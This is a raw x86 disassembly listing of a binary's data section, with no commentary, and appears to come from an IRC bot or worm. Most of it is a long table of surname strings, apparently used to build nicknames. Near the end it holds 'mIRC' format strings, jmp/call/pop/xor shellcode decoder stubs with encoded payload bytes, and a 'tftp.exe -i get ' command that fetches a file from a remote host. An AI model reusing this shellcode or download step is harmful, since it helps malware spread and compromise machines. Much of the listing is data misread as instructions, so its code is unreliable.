ptr [ebx+0], 0E4h rol byte ptr [ebx+0], 0F0h rol byte ptr [ebx+0], 0FCh rol byte ptr [ebx+0], 4 rol dword ptr [ebx+0], 10h rol dword ptr [ebx+0], 18h rol dword ptr [ebx+0], 20h rol dword ptr [ebx+0], 28h rol dword ptr [ebx+0], 34h rol dword ptr [ebx+0], 40h rol dword ptr [ebx+0], 4Ch rol dword ptr [ebx+0], 58h rol dword ptr [ebx+0], 64h rol dword ptr [ebx+0], 6Ch rol dword ptr [ebx+0], 74h rol dword ptr [ebx+0], 80h rol dword ptr [ebx+0], 88h rol dword ptr [ebx+0], 8Ch rol dword ptr [ebx+0], 90h rol dword ptr [ebx+0], 98h rol dword ptr [ebx+0], 0A0h rol dword ptr [ebx+0], 0ACh rol dword ptr [ebx+0], 0B4h rol dword ptr [ebx+0], 0BCh rol dword ptr [ebx+0], 0C8h rol dword ptr [ebx+0], 0D0h rol dword ptr [ebx+0], 0E0h rol dword ptr [ebx+0], 0E8h rol dword ptr [ebx+0], 0F4h rol dword ptr [ebx+0], 0FCh rol dword ptr [ebx+0], 4 retn 43h ; --------------------------------------------------------------------------- or al, 0C2h inc ebx add [eax], bl retn 43h ; --------------------------------------------------------------------------- and dl, al inc ebx add [edx+eax*8], ch inc ebx add [edx+eax*8], dh inc ebx add [eax-3Eh], al inc ebx add [edx+eax*8+43h], cl add [edx+eax*8+43h], dl add [eax-3Eh], ah inc ebx add [eax-3Eh], ch inc ebx add [eax-3Eh], dh inc ebx add [eax-3Eh], bh inc ebx add [edx+eax*8-3D6FFFBDh], al inc ebx add [eax-5FFFBC3Eh], bl retn 43h ; --------------------------------------------------------------------------- test al, 0C2h inc ebx add [edx+eax*8-3D43FFBDh], dh inc ebx add al, cl retn 43h ; --------------------------------------------------------------------------- rol dl, 1 inc ebx add ah, bl retn 43h ; --------------------------------------------------------------------------- dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" ; --------------------------------------------------------------------------- clc retn 43h ; --------------------------------------------------------------------------- dd offset aHeyeck ; "Heyeck" ; --------------------------------------------------------------------------- or bl, al inc ebx add [ebx+eax*8], dl inc ebx add [ebx+eax*8], bl inc ebx add [ebx+eax*8], ah inc ebx add [eax], dh retn ; --------------------------------------------------------------------------- inc ebx add [eax], bh retn ; --------------------------------------------------------------------------- inc ebx add [eax-3Dh], al inc ebx add [eax-3Dh], cl inc ebx add [eax-3Dh], dl inc ebx add [ebx+eax*8+43h], bl add [ebx+eax*8+43h], ah add [ebx+eax*8+43h], ch add [ebx+eax*8+43h], dh add [ebx+eax*8+43h], bh add [ebx+eax*8-3C73FFBDh], al inc ebx add [ebx+eax*8-3C63FFBDh], dl inc ebx add [ebx+eax*8-3C53FFBDh], ah inc ebx add [ebx+eax*8-3C43FFBDh], dh inc ebx add ah, al retn ; --------------------------------------------------------------------------- inc ebx add al, cl retn ; --------------------------------------------------------------------------- inc ebx add al, dl retn ; --------------------------------------------------------------------------- inc ebx add ah, bl retn ; --------------------------------------------------------------------------- db 43h ; C db 0 db 0E8h ; è db 0C3h ; à ; --------------------------------------------------------------------------- inc ebx add ah, dh retn ; --------------------------------------------------------------------------- inc ebx add ah, bh retn ; --------------------------------------------------------------------------- dw 43h dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" ; --------------------------------------------------------------------------- adc al, 0C5h inc ebx add [eax], ah lds eax, [ebx+0] sub ch, al inc ebx add [eax], dh lds eax, [ebx+0] cmp al, 0C5h inc ebx add [ebp+eax*8+43h], al add [ebp+eax*8+43h], cl add [ebp+eax*8+43h], dl loc_43E477: ; CODE XREF: .data:0043E4B0j add [ebp+eax*8+43h], bl add [eax-3Bh], ch inc ebx add [eax-3Bh], dh inc ebx add [ebp+eax*8+43h], bh add [eax-6FFFBC3Bh], cl lds eax, [ebx+0] pushf lds eax, [ebx+0] movsb lds eax, [ebx+0] lodsb lds eax, [ebx+0] mov ah, 0C5h inc ebx add al, al lds eax, [ebx+0] int 3 ; Trap to Debugger lds eax, [ebx+0] aam 0C5h inc ebx add ah, bl lds eax, [ebx+0] loopne loc_43E477 inc ebx add al, ch lds eax, [ebx+0] ; --------------------------------------------------------------------------- dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine_0 ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" ; --------------------------------------------------------------------------- or al, 0CAh inc ebx add [edx+ecx*8], dl inc ebx add [edx+ecx*8], bl inc ebx add [edx+ecx*8], ah inc ebx add [edx+ecx*8], ch inc ebx add [eax], bh retf 43h ; --------------------------------------------------------------------------- dd offset aMarch_0 ; "March" dd offset aMarchbanks ; "Marchbanks" ; --------------------------------------------------------------------------- pop eax retf 43h ; --------------------------------------------------------------------------- pusha retf 43h ; --------------------------------------------------------------------------- dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" ; --------------------------------------------------------------------------- or dl, 43h add [edx+ecx*8-3567FFBDh], cl inc ebx add [eax-53FFBC36h], ah retf 43h ; --------------------------------------------------------------------------- mov ah, 0CAh inc ebx add [edx+ecx*8-3537FFBDh], bh inc ebx add ah, dl retf 43h ; --------------------------------------------------------------------------- fmul st(2), st inc ebx add ah, ah retf 43h ; --------------------------------------------------------------------------- dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" ; --------------------------------------------------------------------------- cld retf 43h ; --------------------------------------------------------------------------- add al, 0CBh inc ebx add [eax], dl retf ; --------------------------------------------------------------------------- inc ebx add [eax], bl retf ; --------------------------------------------------------------------------- inc ebx add [ebx+ecx*8], ah inc ebx add [eax], dh retf ; --------------------------------------------------------------------------- inc ebx add [eax], bh retf ; --------------------------------------------------------------------------- inc ebx add [ebx+ecx*8+43h], al add [ebx+ecx*8+43h], cl add [eax-35h], bl inc ebx add [eax-35h], ah inc ebx add [ebx+ecx*8+43h], ch add [ebx+ecx*8+43h], dh add [ebx+ecx*8+43h], bh add [ebx+ecx*8-3473FFBDh], al inc ebx add [ebx+ecx*8-345FFFBDh], dl inc ebx add [ebx+ecx*8-344BFFBDh], ch inc ebx add al, al retf ; --------------------------------------------------------------------------- inc ebx add al, cl retf ; --------------------------------------------------------------------------- inc ebx add ah, dl retf ; --------------------------------------------------------------------------- inc ebx add ah, bl retf ; --------------------------------------------------------------------------- inc ebx add ah, ah retf ; --------------------------------------------------------------------------- inc ebx add ah, ch retf ; --------------------------------------------------------------------------- inc ebx add al, bh retf ; --------------------------------------------------------------------------- dw 43h dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" dd offset aTroiani ; "Troiani" db 88h, 0D8h ; --------------------------------------------------------------------------- loc_43ECD2: ; CODE XREF: .data:0043ECF8j inc ebx add [eax-67FFBC28h], dl fadd dword ptr [ebx+0] mov al, ds:0AC0043D8h fadd dword ptr [ebx+0] mov eax, 0C00043D8h fadd dword ptr [ebx+0] enter 43D8h, 0 rcr al, 1 inc ebx add al, bl fadd dword ptr [ebx+0] loopne loc_43ECD2 inc ebx add al, ch fadd dword ptr [ebx+0] ; --------------------------------------------------------------------------- dd offset aTzamarias ; "Tzamarias" dd offset aUllman ; "Ullman" dd offset aUntermeyer ; "Untermeyer" dd offset aUpsdell ; "Upsdell" dd offset aUrban ; "Urban" dd offset aUrdangBrown ; "Urdang-Brown" dd offset aUsdan ; "Usdan" dd offset aUzuner ; "Uzuner" dd offset aVacca ; "Vacca" dd offset aWaite ; "Waite" dd offset aValberg ; "Valberg" dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" dd offset aWalter ; "Walter" dd offset aVanallen ; "vanAllen" dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" dd offset aVasquez ; "Vasquez" dd offset aWaugh ; "Waugh" dd offset aWeighart ; "Weighart" dd offset aWeingarten ; "Weingarten" dd offset aWeinhaus ; "Weinhaus" dd offset aWeissbourd ; "Weissbourd" dd offset aWeissman ; "Weissman" dd offset aVelasquez ; "Velasquez" dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" ; --------------------------------------------------------------------------- and bl, bl inc ebx add [eax], ch loc_43EDED: ; CODE XREF: .data:0043EE10j fild dword ptr [ebx+0] xor al, 0DBh inc ebx add [eax], bh fild dword ptr [ebx+0] inc eax fild dword ptr [ebx+0] dec eax fild dword ptr [ebx+0] pop eax fild dword ptr [ebx+0] pusha fild dword ptr [ebx+0] push 700043DBh fild dword ptr [ebx+0] js short loc_43EDED inc ebx add [eax-77FFBC25h], al fild dword ptr [ebx+0] nop fild dword ptr [ebx+0] cwde fild dword ptr [ebx+0] mov al, ds:0A80043DBh fild dword ptr [ebx+0] mov al, 0DBh inc ebx add [eax-43FFBC25h], bh fild dword ptr [ebx+0] enter 43DBh, 0 int 3 ; Trap to Debugger fild dword ptr [ebx+0] aam 0DBh inc ebx add ah, bl fild dword ptr [ebx+0] ; --------------------------------------------------------------------------- dd offset aZegans ; "Zegans" dd offset aZerbini ; "Zerbini" dd offset aZoldak ; "Zoldak" dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" dword_43EE64 dd 7325h dword_43EE68 dd 69257325h, 0 dword_43EE70 dd 7325h dword_43EE74 dd 69257325h, 0 dword_43EE7C dd 4350h dword_43EE80 dd 4350h dword_43EE84 dd 4350h dword_43EE88 dd 69257325h, 0 dword_43EE90 dd 7C7325h dword_43EE94 dd 69257325h, 0 dword_43EE9C dd 3539h dword_43EEA0 dd 544Eh dword_43EEA4 dd 3839h dword_43EEA8 dd 454Dh dword_43EEAC dd 4B32h dword_43EEB0 dd 5058h dword_43EEB4 dd 334B32h dword_43EEB8 dd 3F3F3Fh dword_43EEBC dd 5D73255Bh, 7Chdword_43EEC4 dd 69257325h, 0 aMirc_0 db 'mIRC',0 ; DATA XREF: sub_4092B9+1Fo align 4 aM_0 db '[M]',0 ; DATA XREF: sub_4092B9+2Co aDS db '[%d]%s',0 ; DATA XREF: sub_4092B9+3Ao align 10h aMirc_1 db 'mIRC',0 ; DATA XREF: sub_4092B9:loc_409308o align 4 aM_1 db '[M]',0 ; DATA XREF: sub_4092B9+5Co align 10h loc_43EEF0: ; DATA XREF: sub_409562+BEo jmp short loc_43EEF4 ; --------------------------------------------------------------------------- loc_43EEF2: ; CODE XREF: .data:loc_43EEF4p jmp short loc_43EEF9 ; --------------------------------------------------------------------------- loc_43EEF4: ; CODE XREF: .data:loc_43EEF0j call loc_43EEF2 loc_43EEF9: ; CODE XREF: .data:loc_43EEF2j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_43EEFE dw 0FFFFh ; DATA XREF: sub_409562+C6w db 80h, 73h, 0Eh byte_43EF03 db 0FFh ; DATA XREF: sub_409562+CDw dd 0F9E243h ; --------------------------------------------------------------------------- loc_43EF08: ; DATA XREF: sub_409562+9Co jmp short loc_43EF0C ; --------------------------------------------------------------------------- loc_43EF0A: ; CODE XREF: .data:loc_43EF0Cp jmp short loc_43EF11 ; --------------------------------------------------------------------------- loc_43EF0C: ; CODE XREF: .data:loc_43EF08j call loc_43EF0A loc_43EF11: ; CODE XREF: .data:loc_43EF0Aj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_43EF15 db 0FFh ; DATA XREF: sub_409562+A4w dw 7380h db 0Ch byte_43EF19 db 0FFh ; DATA XREF: sub_409562+AAw dw 0E243h dd 0F9h dword_43EF20 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_4093EB+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_43EF84 dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_4093EB+79o aJ_0 db 'j',0 db 0E8h dword_43EF9D dd 17h ; --------------------------------------------------------------------------- jnz short near ptr byte_43EFA4 retn ; --------------------------------------------------------------------------- byte_43EFA4 db 0E8h ; CODE XREF: .data:0043EFA1j dword_43EFA5 dd 1 byte_43EFA9 db 0, 